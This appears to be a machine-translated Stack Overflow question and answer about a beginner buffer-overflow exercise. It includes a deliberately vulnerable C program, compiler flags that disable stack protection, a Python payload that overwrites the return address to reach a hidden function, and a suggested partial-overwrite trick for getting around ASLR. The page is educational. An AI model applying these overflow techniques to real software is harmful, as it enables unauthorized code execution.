簡體   English   中英

程序運行時傳遞緩沖區溢出漏洞利用字符串?

[英]Passing buffer overflow exploit string while program is running?

我正在做一個非常簡單的緩沖區溢出示例,我有以下代碼:

#include <stdio.h>

void secretFunction()
{
    printf("Congratulations!\n");
    printf("You have entered in the secret function!\n");
}

void echo()
{
    char buffer[20];

    printf("Enter some text:\n");
    scanf("%s", buffer);
    printf("You entered: %s\n", buffer);    
}

int main()
{
    echo();

    return 0;
}

首先,我在沒有堆棧保護的情況下編譯這個文件,並且關閉了 aslr:

gcc buf.c -o vuln_nostack -fno-stack-protector -m32 -no-pie

為了利用這一點,我們只想注入秘密 function 的 memory 地址,以便我們可以運行它。 這可以通過運行 python 生成輸入的文件來完成:

 $ python -c 'print "a"*32 + "\xd6\x91\x04\x08"' | ./vuln_nostack 
Enter some text:
You entered: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa֑
Congratulations!
You have entered in the secret function!
Segmentation fault (core dumped)

這觸及了我的秘密 function。 所以這行得通。

但是現在的問題是我也想和aslr一起工作,所以我想在程序開始時output秘密function的地址,然后讓惡意輸入依賴於此。 出於這個原因,我想通過在程序中輸入任何內容來等待,直到我看到它打印給我的內容。

但是,如果我現在運行程序,我只是在程序運行時手動輸入:

./vuln_nostack
Enter some text:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa֑\xd6\x91\x04\x08
You entered: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa֑\xd6\x91\x04\x08
Segmentation fault (core dumped)

然后它只是正確處理我的輸入,並且值不會溢出。 出現分段錯誤,說明有事,但方向不一樣我的秘密function

當 python 生成的輸入實際起作用時,我對溢出很陌生,並且不明白為什么會發生這種情況。

所以我的問題是是否有辦法在程序運行時“手動”完成這個簡單的溢出。 或者如果我需要編寫一些腳本(也許是 python)可以與這個錯誤的程序交互並在它運行時給它正確的輸入?

你說你的輸入在第二個例子中得到了正確處理,但事實並非如此,你可以看到在你第二次運行程序時,你遇到了一個分段錯誤,這意味着你訪問了 memory 不能被推遲(由於錯誤的 memory 保護或無效的 memory 地址)。

The reason that you failed to jump to secretFunction() on your second run, is that you were assuming that scanf parses escaped unicode values as unicode, but when you enter "\xd6" it is not parsed to a unicode value but it is parsed到 4 個字符 '' 'x' 'd' '6'。 當您在 32 位機器上運行時,這是程序嘗試執行的地址,這可能會導致段錯誤,因為此 memory 很可能無效或可執行。

只是一個關於如何在運行程序並查找程序加載到的地址后在不連接 gdb 的情況下克服 ASLR 的想法 - 您可以嘗試只溢出低 2 個字節,好像我沒有弄錯只有 2 個高字節是隨機的使用 ASLR,因此您只需要溢出即使使用 ASLR 也是恆定的“偏移量”。

以下是一些關於堆棧溢出的學習材料: https://insecure.org/stf/smashstack.html

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM